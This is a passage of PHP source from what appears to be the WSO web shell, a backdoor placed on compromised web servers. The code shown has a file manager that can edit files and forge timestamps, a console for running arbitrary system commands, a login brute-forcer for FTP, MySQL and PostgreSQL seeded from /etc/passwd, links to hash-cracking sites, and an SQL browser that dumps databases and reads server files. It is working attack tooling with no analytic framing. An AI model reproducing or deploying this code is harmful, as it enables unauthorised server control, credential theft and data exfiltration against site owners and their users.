			echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
				.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
			$l = $l?0:1;
		}
		echo "<tr><td colspan=7>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
		<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
		<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
		if(class_exists('ZipArchive'))
			echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
		echo "<option value='tar'>Compress (tar.gz)</option>";
		if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
			echo "<option value='paste'>Paste / Compress</option>";
		echo "</select>&nbsp;";
		if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
			echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
		echo "<input type='submit' value='>>'></td></tr></form></table></div>";
		wsoFooter();
	}

	function actionStringTools() {
		if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
		if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
		if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
		if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
		if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
		$stringTools = array(
			'Base64 encode' => 'base64_encode',
			'Base64 decode' => 'base64_decode',
			'Url encode' => 'urlencode',
			'Url decode' => 'urldecode',
			'Full urlencode' => 'full_urlencode',
			'md5 hash' => 'md5',
			'sha1 hash' => 'sha1',
			'crypt' => 'crypt',
			'CRC32' => 'crc32',
			'ASCII to HEX' => 'ascii2hex',
			'HEX to ASCII' => 'hex2ascii',
			'HEX to DEC' => 'hexdec',
			'HEX to BIN' => 'hex2bin',
			'DEC to HEX' => 'dechex',
			'DEC to BIN' => 'decbin',
			'BIN to HEX' => 'binhex',
			'BIN to DEC' => 'bindec',
			'String to lower case' => 'strtolower',
			'String to upper case' => 'strtoupper',
			'Htmlspecialchars' => 'htmlspecialchars',
			'String length' => 'strlen',
		);
		if(isset($_POST['ajax'])) {
			WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
			ob_start();
			if(in_array($_POST['p1'], $stringTools))
				echo $_POST['p1']($_POST['p2']);
			$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
			echo strlen($temp), "
", $temp;
			exit;
		}
		if(empty($_POST['ajax'])&&!empty($_POST['p1']))
			WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
		wsoHeader();
		echo '<h1>String conversions</h1><div class=content>';
		echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
		foreach($stringTools as $k => $v)
			echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
			echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
		if(!empty($_POST['p1'])) {
			if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
		}
		echo"</pre></div><br><h1>Search files:</h1><div class=content>
			<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
				<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
				<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
				<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
				<tr><td></td><td><input type='submit' value='>>'></td></tr>
				</table></form>";

		function wsoRecursiveGlob($path) {
			if(substr($path, -1) != '/')
				$path.='/';
			$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
			if(is_array($paths)&&@count($paths)) {
				foreach($paths as $item) {
					if(@is_dir($item)){
						if($path!=$item)
							wsoRecursiveGlob($item);
					} else {
						if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
							echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
					}
				}
			}
		}
		if(@$_POST['p3'])
			wsoRecursiveGlob($_POST['c']);
		echo "</div><br><h1>Search for hash:</h1><div class=content>
			<form method='post' target='_blank' name='hf'>
				<input type='text' name='hash' style='width:200px;'><br>
				<input type='hidden' name='act' value='find'/>
				<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
				<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
				<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
			</form></div>";
		wsoFooter();
	}

	function actionFilesTools() {
		if( isset($_POST['p1']) )
			$_POST['p1'] = urldecode($_POST['p1']);
		if(@$_POST['p2']=='download') {
			if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
				ob_start("ob_gzhandler", 4096);
				header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
				if (function_exists("mime_content_type")) {
					$type = @mime_content_type($_POST['p1']);
					header("Content-Type: " . $type);
				} else
					header("Content-Type: application/octet-stream");
				$fp = @fopen($_POST['p1'], "r");
				if($fp) {
					while(!@feof($fp))
						echo @fread($fp, 1024);
					fclose($fp);
				}
			}exit;
		}
		if( @$_POST['p2'] == 'mkfile' ) {
			if(!file_exists($_POST['p1'])) {
				$fp = @fopen($_POST['p1'], 'w');
				if($fp) {
					$_POST['p2'] = "edit";
					fclose($fp);
				}
			}
		}
		wsoHeader();
		echo '<h1>File tools</h1><div class=content>';
		if( !file_exists(@$_POST['p1']) ) {
			echo 'File not exists';
			wsoFooter();
			return;
		}
		$uid = @posix_getpwuid(@fileowner($_POST['p1']));
		if(!$uid) {
			$uid['name'] = @fileowner($_POST['p1']);
			$gid['name'] = @filegroup($_POST['p1']);
		} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
		echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
		echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
		if( empty($_POST['p2']) )
			$_POST['p2'] = 'view';
		if( is_file($_POST['p1']) )
			$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
		else
			$m = array('Chmod', 'Rename', 'Touch');
		foreach($m as $v)
			echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
		echo '<br><br>';
		switch($_POST['p2']) {
			case 'view':
				echo '<pre class=ml1>';
				$fp = @fopen($_POST['p1'], 'r');
				if($fp) {
					while( !@feof($fp) )
						echo htmlspecialchars(@fread($fp, 1024));
					@fclose($fp);
				}
				echo '</pre>';
				break;
			case 'highlight':
				if( @is_readable($_POST['p1']) ) {
					echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
					$code = @highlight_file($_POST['p1'],true);
					echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
				}
				break;
			case 'chmod':
				if( !empty($_POST['p3']) ) {
					$perms = 0;
					for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
						$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
					if(!@chmod($_POST['p1'], $perms))
						echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
				}
				clearstatcache();
				echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
				break;
			case 'edit':
				if( !is_writable($_POST['p1'])) {
					echo 'File isn\'t writeable';
					break;
				}
				if( !empty($_POST['p3']) ) {
					$time = @filemtime($_POST['p1']);
					$_POST['p3'] = substr($_POST['p3'],1);
					$fp = @fopen($_POST['p1'],"w");
					if($fp) {
						@fwrite($fp,$_POST['p3']);
						@fclose($fp);
						echo 'Saved!<br><script>p3_="";</script>';
						@touch($_POST['p1'],$time,$time);
					}
				}
				echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
				$fp = @fopen($_POST['p1'], 'r');
				if($fp) {
					while( !@feof($fp) )
						echo htmlspecialchars(@fread($fp, 1024));
					@fclose($fp);
				}
				echo '</textarea><input type=submit value=">>"></form>';
				break;
			case 'hexdump':
				$c = @file_get_contents($_POST['p1']);
				$n = 0;
				$h = array('00000000<br>','','');
				$len = strlen($c);
				for ($i=0; $i<$len; ++$i) {
					$h[1] .= sprintf('%02X',ord($c[$i])).' ';
					switch ( ord($c[$i]) ) {
						case 0:  $h[2] .= ' '; break;
						case 9:  $h[2] .= ' '; break;
						case 10: $h[2] .= ' '; break;
						case 13: $h[2] .= ' '; break;
						default: $h[2] .= $c[$i]; break;
					}
					$n++;
					if ($n == 32) {
						$n = 0;
						if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
						$h[1] .= '<br>';
						$h[2] .= "
";
					}
				}
				echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
				break;
			case 'rename':
				if( !empty($_POST['p3']) ) {
					if(!@rename($_POST['p1'], $_POST['p3']))
						echo 'Can\'t rename!<br>';
					else
						die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
				}
				echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
				break;
			case 'touch':
				if( !empty($_POST['p3']) ) {
					$time = strtotime($_POST['p3']);
					if($time) {
						if(!touch($_POST['p1'],$time,$time))
							echo 'Fail!';
						else
							echo 'Touched!';
					} else echo 'Bad time format!';
				}
				clearstatcache();
				echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
				break;
		}
		echo '</div>';
		wsoFooter();
	}

	function actionConsole() {
		if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
			WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
			$_POST['p1'] .= ' 2>&1';
		} elseif(!empty($_POST['p1']))
			WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

		if(isset($_POST['ajax'])) {
			WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
			ob_start();
			echo "d.cf.cmd.value='';
";
			$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
			if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
				if(@chdir($match[1])) {
					$GLOBALS['cwd'] = @getcwd();
					echo "c_='".$GLOBALS['cwd']."';";
				}
			}
			echo "d.cf.output.value+='".$temp."';";
			echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
			$temp = ob_get_clean();
			echo strlen($temp), "
", $temp;
			exit;
		}
		if(empty($_POST['ajax'])&&!empty($_POST['p1']))
			WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
		wsoHeader();
		echo "<script>
	if(window.Event) window.captureEvents(Event.KEYDOWN);
	var cmds = new Array('');
	var cur = 0;
	function kp(e) {
		var n = (window.Event) ? e.which : e.keyCode;
		if(n == 38) {
			cur--;
			if(cur>=0)
				document.cf.cmd.value = cmds[cur];
			else
				cur++;
		} else if(n == 40) {
			cur++;
			if(cur < cmds.length)
				document.cf.cmd.value = cmds[cur];
			else
				cur--;
		}
	}
	function add(cmd) {
		cmds.pop();
		cmds.push(cmd);
		cmds.push('');
		cur = cmds.length-1;
	}
	</script>";
		echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
		foreach($GLOBALS['aliases'] as $n => $v) {
			if($v == '') {
				echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
				continue;
			}
			echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
		}

		echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
		if(!empty($_POST['p1'])) {
			echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
		}
		echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
		echo '</form></div><script>d.cf.cmd.focus();</script>';
		wsoFooter();
	}

	function actionLogout() {
		setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
		die('bye!');
	}

	function actionSelfRemove() {
		echo 'cant remove myself'; return false;
		if($_POST['p1'] == 'yes')
			if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
				die('Shell has been removed');
			else
				echo 'unlink error!';
		if($_POST['p1'] != 'yes')
			wsoHeader();
		echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
		wsoFooter();
	}

	function actionBruteforce() {
		wsoHeader();
		if( isset($_POST['proto']) ) {
			echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
			if( $_POST['proto'] == 'ftp' ) {
				function wsoBruteForce($ip,$port,$login,$pass) {
					$fp = @ftp_connect($ip, $port?$port:21);
					if(!$fp) return false;
					$res = @ftp_login($fp, $login, $pass);
					@ftp_close($fp);
					return $res;
				}
			} elseif( $_POST['proto'] == 'mysql' ) {
				function wsoBruteForce($ip,$port,$login,$pass) {
					$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
					@mysql_close($res);
					return $res;
				}
			} elseif( $_POST['proto'] == 'pgsql' ) {
				function wsoBruteForce($ip,$port,$login,$pass) {
					$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
					$res = @pg_connect($str);
					@pg_close($res);
					return $res;
				}
			}
			$success = 0;
			$attempts = 0;
			$server = explode(":", $_POST['server']);
			if($_POST['type'] == 1) {
				$temp = @file('/etc/passwd');
				if( is_array($temp) )
					foreach($temp as $line) {
						$line = explode(":", $line);
						++$attempts;
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
						}
						if(@$_POST['reverse']) {
							$tmp = "";
							for($i=strlen($line[0])-1; $i>=0; --$i)
								$tmp .= $line[0][$i];
							++$attempts;
							if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
								$success++;
								echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
							}
						}
					}
			} elseif($_POST['type'] == 2) {
				$temp = @file($_POST['dict']);
				if( is_array($temp) )
					foreach($temp as $line) {
						$line = trim($line);
						++$attempts;
						if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
							$success++;
							echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
						}
					}
			}
			echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
		}
		echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
			.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
			.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
			.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
			.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
			.'<span>Server:port</span></td>'
			.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
			.'<tr><td><span>Brute type</span></td>'
			.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
			.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
			.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
			.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
			.'<td><input type=text name=login value="root"></td></tr>'
			.'<tr><td><span>Dictionary</span></td>'
			.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
			.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
		echo '</div><br>';
		wsoFooter();
	}

	function actionSql() {
		class DbClass {
			var $type;
			var $link;
			var $res;
			function DbClass($type)	{
				$this->type = $type;
			}
			function connect($host, $user, $pass, $dbname){
				switch($this->type)	{
					case 'mysql':
						if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
						break;
					case 'pgsql':
						$host = explode(':', $host);
						if(!$host[1]) $host[1]=5432;
						if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
						break;
				}
				return false;
			}
			function selectdb($db) {
				switch($this->type)	{
					case 'mysql':
						if (@mysql_select_db($db))return true;
						break;
				}
				return false;
			}
			function query($str) {
				switch($this->type) {
					case 'mysql':
						return $this->res = @mysql_query($str);
						break;
					case 'pgsql':
						return $this->res = @pg_query($this->link,$str);
						break;
				}
				return false;
			}
			function fetch() {
				$res = func_num_args()?func_get_arg(0):$this->res;
				switch($this->type)	{
					case 'mysql':
						return @mysql_fetch_assoc($res);
						break;
					case 'pgsql':
						return @pg_fetch_assoc($res);
						break;
				}
				return false;
			}
			function listDbs() {
				switch($this->type)	{
					case 'mysql':
							return $this->query("SHOW databases");
					break;
					case 'pgsql':
						return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
					break;
				}
				return false;
			}
			function listTables() {
				switch($this->type)	{
					case 'mysql':
						return $this->res = $this->query('SHOW TABLES');
					break;
					case 'pgsql':
						return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
					break;
				}
				return false;
			}
			function error() {
				switch($this->type)	{
					case 'mysql':
						return @mysql_error();
					break;
					case 'pgsql':
						return @pg_last_error();
					break;
				}
				return false;
			}
			function setCharset($str) {
				switch($this->type)	{
					case 'mysql':
						if(function_exists('mysql_set_charset'))
							return @mysql_set_charset($str, $this->link);
						else
							$this->query('SET CHARSET '.$str);
						break;
					case 'pgsql':
						return @pg_set_client_encoding($this->link, $str);
						break;
				}
				return false;
			}
			function loadFile($str) {
				switch($this->type)	{
					case 'mysql':
						return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
					break;
					case 'pgsql':
						$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
						$r=array();
						while($i=$this->fetch())
							$r[] = $i['file'];
						$this->query('drop table wso2');
						return array('file'=>implode("
",$r));
					break;
				}
				return false;
			}
			function dump($table, $fp = false) {
				switch($this->type)	{
					case 'mysql':
						$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
						$create = mysql_fetch_array($res);
						$sql = $create[1].";
";
						if($fp) fwrite($fp, $sql); else echo($sql);
						$this->query('SELECT * FROM `'.$table.'`');
						$i = 0;
						$head = true;
						while($item = $this->fetch()) {
							$sql = '';
							if($i % 1000 == 0) {
								$head = true;
								$sql = ";

";
							}

							$columns = array();
							foreach($item as $k=>$v) {
								if($v === null)
									$item[$k] = "NULL";
								elseif(is_int($v))
									$item[$k] = $v;
								else
									$item[$k] = "'".@mysql_real_escape_string($v)."'";
								$columns[] = "`".$k."`";
							}
							if($head) {
								$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
								$head = false;
							} else
								$sql .= "
	,(".implode(", ", $item).')';
							if($fp) fwrite($fp, $sql); else echo($sql);
							$i++;
						}
						if(!$head)
							if($fp) fwrite($fp, ";

"); else echo(";

");
					break;
					case 'pgsql':
						$this->query('SELECT * FROM '.$table);
						while($item = $this->fetch()) {
							$columns = array();
							foreach($item as $k=>$v) {
								$item[$k] = "'".addslashes($v)."'";
								$columns[] = $k;
							}
							$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
							if($fp) fwrite($fp, $sql); else echo($sql);
						}
					break;
				}
				return false;
			}
		};
		$db = new DbClass($_POST['type']);
		if(@$_POST['p2']=='download') {
			$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
			$db->selectdb($_POST['sql_base']);
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			if(empty($_POST['file'])) {
				ob_start("ob_gzhandler", 4096);
				header("Content-Disposition: attachment; filename=dump.sql");
				header("Content-Type: text/plain");
				foreach($_POST['tbl'] as $v)
					$db->dump($v);
				exit;
			} elseif($fp = @fopen($_POST['file'], 'w')) {
				foreach($_POST['tbl'] as $v)
					$db->dump($v, $fp);
				fclose($fp);
				unset($_POST['p2']);
			} else
				die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
		}
		wsoHeader();
		echo "
	<h1>Sql browser</h1><div class=content>
	<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
	<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
	<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
	<td><select name='type'><option value='mysql' ";
		if(@$_POST['type']=='mysql')echo 'selected';
	echo ">MySql</option><option value='pgsql' ";
	if(@$_POST['type']=='pgsql')echo 'selected';
	echo ">PostgreSql</option></select></td>
	<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
	<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
	<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
		$tmp = "<input type=text name=sql_base value=''>";
		if(isset($_POST['sql_host'])){
			if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
				switch($_POST['charset']) {
					case "Windows-1251": $db->setCharset('cp1251'); break;
					case "UTF-8": $db->setCharset('utf8'); break;
					case "KOI8-R": $db->setCharset('koi8r'); break;
					case "KOI8-U": $db->setCharset('koi8u'); break;
					case "cp866": $db->setCharset('cp866'); break;
				}
				$db->listDbs();
				echo "<select name=sql_base><option value=''></option>";
				while($item = $db->fetch()) {
					list($key, $value) = each($item);
					echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
				}
				echo '</select>';
			}
			else echo $tmp;
		}else
			echo $tmp;
		echo "</td>
					<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
					<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
				</tr>
			</table>
			<script>
				s_db='".@addslashes($_POST['sql_base'])."';
				function fs(f) {
					if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
						if(f.p1) f.p1.value='';
						if(f.p2) f.p2.value='';
						if(f.p3) f.p3.value='';
					}
				}
				function st(t,l) {
					d.sf.p1.value = 'select';
					d.sf.p2.value = t;
					if(l && d.sf.p3) d.sf.p3.value = l;
					d.sf.submit();
				}
				function is() {
					for(i=0;i<d.sf.elements['tbl[]'].length;++i)
						d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
				}
			</script>";
		if(isset($db) && $db->link){
			echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
				if(!empty($_POST['sql_base'])){
					$db->selectdb($_POST['sql_base']);
					echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
					$tbls_res = $db->listTables();
					while($item = $db->fetch($tbls_res)) {
						list($key, $value) = each($item);
						if(!empty($_POST['sql_count']))
							$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
						$value = htmlspecialchars($value);
						echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
					}
					echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
					if(@$_POST['p1'] == 'select') {
						$_POST['p1'] = 'query';
						$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
						$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
						$num = $db->fetch();
						$pages = ceil($num['n'] / 30);
						echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
						echo " of $pages";
						if($_POST['p3'] > 1)
							echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
